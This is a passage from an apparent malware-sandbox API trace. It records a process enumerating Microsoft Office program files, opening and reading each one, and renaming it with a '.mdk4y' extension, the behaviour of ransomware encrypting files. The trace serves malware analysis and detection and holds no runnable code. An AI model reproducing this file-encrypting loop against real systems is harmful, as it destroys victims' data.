lpNumberOfBytesRead=0x37dfd8*=0x3f988, lpOverlapped=0x0) returned 1 [0210.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828578300000) returned 1 [0210.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828578300000) returned 1 [0210.556] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMENTS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\elements.dll.mdk4y")) returned 1 [0210.557] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.557] AreFileApisANSI () returned 1 [0210.557] GetACP () returned 0x4e4 [0210.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ELEMUTIL.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ELEMUTIL.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0210.557] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828578900000) returned 1 [0210.559] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x237a0, lpOverlapped=0x0) returned 1 [0210.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828582000000) returned 1 [0210.590] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828582000000) returned 1 [0210.592] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll.mdk4y")) returned 1 [0210.593] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.593] AreFileApisANSI () returned 1 [0210.593] GetACP () returned 0x4e4 [0210.593] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EMABLT32.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EMABLT32.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0210.593] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828582400000) returned 1 [0210.594] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x25b80, lpOverlapped=0x0) returned 1 [0210.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828585700000) returned 1 [0210.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828585700000) returned 1 [0210.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll.mdk4y")) returned 1 [0210.631] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.631] AreFileApisANSI () returned 1 [0210.631] GetACP () returned 0x4e4 [0210.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EMSMDB32.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EMSMDB32.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0210.631] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828586200000) returned 1 [0210.632] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0210.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828591100000) returned 1 [0210.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828591100000) returned 1 [0210.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.mdk4y")) returned 1 [0210.696] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.696] AreFileApisANSI () returned 1 [0210.696] GetACP () returned 0x4e4 [0210.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENGDIC.DAT", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ENGDIC.DATLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0210.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828592900000) returned 1 [0210.699] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x46c86, lpOverlapped=0x0) returned 1 [0210.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828612600000) returned 1 [0210.896] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828612600000) returned 1 [0210.903] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat.mdk4y")) returned 1 [0210.905] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0210.905] AreFileApisANSI () returned 1 [0210.905] GetACP () returned 0x4e4 [0210.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENGIDX.DAT", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ENGIDX.DAT", lpUsedDefaultChar=0x37dfd8) returned 10 [0210.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0210.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828613600000) returned 1 [0210.906] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8578, lpOverlapped=0x0) returned 1 [0210.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828622600000) returned 1 [0210.996] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828622600000) returned 1 [0210.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGIDX.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\engidx.dat.mdk4y")) returned 1 [0211.001] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.001] AreFileApisANSI () returned 1 [0211.001] GetACP () returned 0x4e4 [0211.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENGLISH.LNG", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ENGLISH.LNGL", lpUsedDefaultChar=0x37dfd8) returned 11 [0211.001] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828623200000) returned 1 [0211.002] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4c22c, lpOverlapped=0x0) returned 1 [0211.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828624900000) returned 1 [0211.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828624900000) returned 1 [0211.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.mdk4y")) returned 1 [0211.025] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.025] AreFileApisANSI () returned 1 [0211.025] GetACP () returned 0x4e4 [0211.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EntityDataHandler.dll", cchWideChar=21, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EntityDataHandler.dllsd", lpUsedDefaultChar=0x37dfd8) returned 21 [0211.025] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.025] AreFileApisANSI () returned 1 [0211.025] GetACP () returned 0x4e4 [0211.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EntityPicker.dll", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EntityPicker.dllr.dll", lpUsedDefaultChar=0x37dfd8) returned 16 [0211.025] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.025] AreFileApisANSI () returned 1 [0211.025] GetACP () returned 0x4e4 [0211.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ENVELOPE.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ENVELOPE.DLL.dll", lpUsedDefaultChar=0x37dfd8) returned 12 [0211.025] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828625700000) returned 1 [0211.027] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x35980, lpOverlapped=0x0) returned 1 [0211.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828629000000) returned 1 [0211.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828629000000) returned 1 [0211.067] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENVELOPE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\envelope.dll.mdk4y")) returned 1 [0211.071] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.071] AreFileApisANSI () returned 1 [0211.071] GetACP () returned 0x4e4 [0211.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ERXIMP.ADD", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="ERXIMP.ADDLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0211.072] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828630300000) returned 1 [0211.073] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x14fa0, lpOverlapped=0x0) returned 1 [0211.119] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828634900000) returned 1 [0211.120] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828635000000) returned 1 [0211.121] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ERXIMP.ADD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\erximp.add.mdk4y")) returned 1 [0211.122] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.122] AreFileApisANSI () returned 1 [0211.122] GetACP () returned 0x4e4 [0211.122] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXCEL.EXE", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EXCEL.EXED", lpUsedDefaultChar=0x37dfd8) returned 9 [0211.122] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.123] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828635300000) returned 1 [0211.123] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0211.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828640500000) returned 1 [0211.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828640500000) returned 1 [0211.183] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXCEL.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.mdk4y")) returned 1 [0211.186] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.186] AreFileApisANSI () returned 1 [0211.186] GetACP () returned 0x4e4 [0211.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="excel.exe.manifest", cchWideChar=18, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="excel.exe.manifestdll", lpUsedDefaultChar=0x37dfd8) returned 18 [0211.186] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828641700000) returned 1 [0211.187] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4ac, lpOverlapped=0x0) returned 1 [0211.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828641800000) returned 1 [0211.189] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828641800000) returned 1 [0211.189] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest.mdk4y")) returned 1 [0211.190] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.190] AreFileApisANSI () returned 1 [0211.190] GetACP () returned 0x4e4 [0211.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="excelcnv.exe", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="excelcnv.exenifest", lpUsedDefaultChar=0x37dfd8) returned 12 [0211.190] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.190] AreFileApisANSI () returned 1 [0211.190] GetACP () returned 0x4e4 [0211.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="excelcnvpxy.dll", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="excelcnvpxy.dllest", lpUsedDefaultChar=0x37dfd8) returned 15 [0211.190] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.190] AreFileApisANSI () returned 1 [0211.190] GetACP () returned 0x4e4 [0211.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXLIRM.XML", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EXLIRM.XMLy.dll", lpUsedDefaultChar=0x37dfd8) returned 10 [0211.190] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828642100000) returned 1 [0211.191] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1372c, lpOverlapped=0x0) returned 1 [0211.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828654300000) returned 1 [0211.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828654300000) returned 1 [0211.314] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml.mdk4y")) returned 1 [0211.315] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.315] AreFileApisANSI () returned 1 [0211.315] GetACP () returned 0x4e4 [0211.315] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXLIRMV.XML", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EXLIRMV.XML.dll", lpUsedDefaultChar=0x37dfd8) returned 11 [0211.315] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828654700000) returned 1 [0211.317] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x13574, lpOverlapped=0x0) returned 1 [0211.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828654800000) returned 1 [0211.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828654800000) returned 1 [0211.319] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.mdk4y")) returned 1 [0211.320] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.320] AreFileApisANSI () returned 1 [0211.320] GetACP () returned 0x4e4 [0211.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXSEC32.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EXSEC32.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0211.320] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0211.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828655100000) returned 1 [0211.321] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x73f50, lpOverlapped=0x0) returned 1 [0211.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828665700000) returned 1 [0211.427] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828665700000) returned 1 [0211.434] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXSEC32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\exsec32.dll.mdk4y")) returned 1 [0211.435] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0211.435] AreFileApisANSI () returned 1 [0211.435] GetACP () returned 0x4e4 [0211.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EXTRACT.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="EXTRACT.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0211.435] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXTRACT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\extract.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 